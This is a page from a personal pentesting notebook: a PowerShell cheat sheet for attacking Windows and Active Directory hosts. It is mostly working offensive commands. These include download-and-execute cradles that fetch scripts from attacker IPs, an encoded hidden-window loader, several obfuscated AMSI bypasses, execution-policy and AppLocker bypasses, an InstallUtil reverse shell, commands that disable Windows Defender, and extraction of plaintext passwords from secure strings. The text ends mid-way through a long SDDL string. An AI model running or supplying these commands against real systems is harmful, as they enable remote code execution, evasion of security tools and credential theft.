💻
My Personal Hacking Path
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      • Whoami
  • 📚Mi Metodología de Pentesting
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    • Metodología Propia
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    • Fase 0 - Pre Evalaución
    • Fase 1 - Reconocimiento
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      • ¿Sin Ideas?
    • Fase 2 - Explotación
      • Shells
        • Diferencia entre una WebShell y Reverse Shell
      • Payload
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        • 20|21 - FTP
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    • Fase 3 - Post Explotación
      • Enumeración
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        • Log Poisoning
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      • Padding Oracle Attack
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    • Laboratorios
  • ☁️AWS Pentesting
    • Introducción a Amazon Web Services AWS
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      • Políticas de IAM
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          • PassExistingRoleToCloudFormation
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      • Enum Lambda
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    • EC2
      • Enumeración
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        • EC2_SSRF
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        • ECS_takeover
    • VPC
      • Enumeración
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    • Bases de Datos
      • RDS
        • Enumeración
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      • Enum ECR
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  • 🔫Red_Team
    • Introducción a Red Team
      • Assume breach
    • ¿Qué es MITRE ATT&CK?
      • Guia de uso de Invoke-AtomicRedTeam
    • C2 Comando y control
      • Sliver C2
        • Instalación
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        • Stagers: Basics
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  • 💾Active Directory
    • Teoria
      • Componentes Físicos
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        • Funcionamiento de Kerberos
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      • ¿Por qué enumerar?
      • Enumeración manual
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    • Tools
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      • Powershell
      • PowerView.ps1
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        • Comandos
    • AD Lab
  • 🌩️Azure Coud Pentesting
    • Introducción a Azure y Office 365
    • Introducción a Microsoft Indentity Services
    • Enumeración
    • Azure Files
      • Encontrar Fuga de Datos
    • Microsoft Graph
    • Notas
  • 📱Mobile Pentesting
    • Análisis de Aplicaciones Móviles en MobSF
    • ¿Cómo interceptar tráfico de una aplicación Flutter Android con Burp?
  • 📶Wireless
    • Terminología
    • Tipos de Wireless Networks
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      • Port Forward y volúmenes
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      • Container Breakouts
    • Comandos Utiles
    • Fliper Zero
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  • Kali Set Up
Con tecnología de GitBook
En esta página
  • Ubicaciones por defecto de PowerShell
  • Basic PS commands to startUbicaci
  • Descarga y carga de scritps en memoria
  • Download & Execute in background with AMSI Bypass
  • Descarga EXEs
  • System.Net.WebClient
  • Invoke-WebRequest
  • Wget
  • BitsTransfer
  • Execution Policy
  • Constrained language
  • AppLocker Policy
  • Check
  • Bypass
  • Enable WinRM (Remote PS)
  • Desactivar Defender
  • AMSI bypass
  • AMSI Bypass 2 - Managed API Call Hooking
  • AMSI Bypass 3 - SeDebug Privilege
  • AMSI Bypass - More Resources
  • PS-History
  • Find a newer files
  • Get permissions
  • OS version and HotFixes
  • Environment
  • Other connected drives
  • Recycle Bin
  • Domain Recon
  • Users
  • Secure String to Plaintext
  • SUDO
  • Groups
  • Clipboard
  • Processes
  • Services
  • Password from secure string
  • Scheduled Tasks
  • Network
  • Port Scan
  • Interfaces
  • Firewall
  • Route
  • ARP
  • Hosts
  • Ping
  • SNMP
  • Converting the SDDL String into a Readable Format
  1. Active Directory
  2. Tools

Powershell

PowerShell es una solución de automatización de tareas multiplataforma formada por un shell de línea de comandos, un lenguaje de scripting y un marco de administración de configuración.

Ubicaciones por defecto de PowerShell

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Basic PS commands to startUbicaci

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Descarga y carga de scritps en memoria

echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute

IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1'); Invoke-Module some

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Download & Execute in background with AMSI Bypass

Primero en crear script y pasarlo a Base 64

cat script.ps1 | iconv --to-code UTF-16LE | base64 -w 0
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Using b64 from linux

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Descarga EXEs

System.Net.WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Execution Policy

By default it is set to restricted. Main ways to bypass this policy:

1º Just copy and paste inside the interactive PS console

2º Read en Exec
Get-Content .\script.ps1 | PowerShell.exe -noprofile -

3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression

4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1

5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process

7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"

9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

Constrained language

Check

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Bypass

#Easy bypass
Powershell -version 2

Direct bypass:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Reverse shell:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

AppLocker Policy

An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.

Check

Check which files/extensions are blacklisted/whitelisted:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

This registry path contains the configurations and policies applied by AppLocker, providing a way to review the current set of rules enforced on the system:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

Bypass

  • Useful Writable folders to bypass AppLocker Policy: If AppLocker is allowing to execute anything inside C:\Windows\System32 or C:\Windows there are writable folders you can use to bypass this.

C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • Poorly written rules could also be bypassed

    • For example, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, you can create a folder called allowed anywhere and it will be allowed.

  • DLL enforcement very rarely enabled due to the additional load it can put on a system, and the amount of testing required to ensure nothing will break. So using DLLs as backdoors will help bypassing AppLocker.

Enable WinRM (Remote PS)

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
  Where{ $_.NetWorkCategory -ne 'Private'} |
  ForEach {
    $_
    $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
  }

Desactivar Defender

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

AMSI bypass

amsi.dll is loaded into your process, and has the necessary exports for any application interact with. And because it's loaded into the memory space of a process you control, you can change its behaviour by overwriting instructions in memory. Making it not detect anything.

Therefore, the goal of the AMSI bypasses you will use is to overwrite the instructions of that DLL in memory to make the detection useless.

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

AMSI Bypass 2 - Managed API Call Hooking

This new technique relies upon API call hooking of .NET methods. As it turns out, .NET Methods need to get compiled down to native machine instructions in memory which end up looking very similar to native methods. These compiled methods can hooked to change the control flow of a program.

The steps performing API cal hooking of .NET methods are:

  1. Identify the target method to hook

  2. Define a method with the same function prototype as the target

  3. Use reflection to find the methods

  4. Ensure each method has been compiled

  5. Find the location of each method in memory

  6. Overwrite the target method with instructions pointing to our malicious method

AMSI Bypass 3 - SeDebug Privilege

AMSI Bypass - More Resources

PS-History

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Find a newer files

Options : CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc

# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName

# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName

Get permissions

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

OS version and HotFixes

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Environment

Get-ChildItem Env: | ft Key,Value -AutoSize #get all values
$env:UserName @Get UserName value

Other connected drives

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Recycle Bin

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

Domain Recon

PowerView/SharpView

Users

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Secure String to Plaintext

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

Or directly parsing form XML:

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Groups

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Clipboard

Get-Clipboard

Processes

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Services

Get-Service

Password from secure string

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Scheduled Tasks

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Port Scan

# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10

# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null

# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}

Interfaces

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Firewall

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Route

route print

ARP

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Hosts

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Converting the SDDL String into a Readable Format

PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA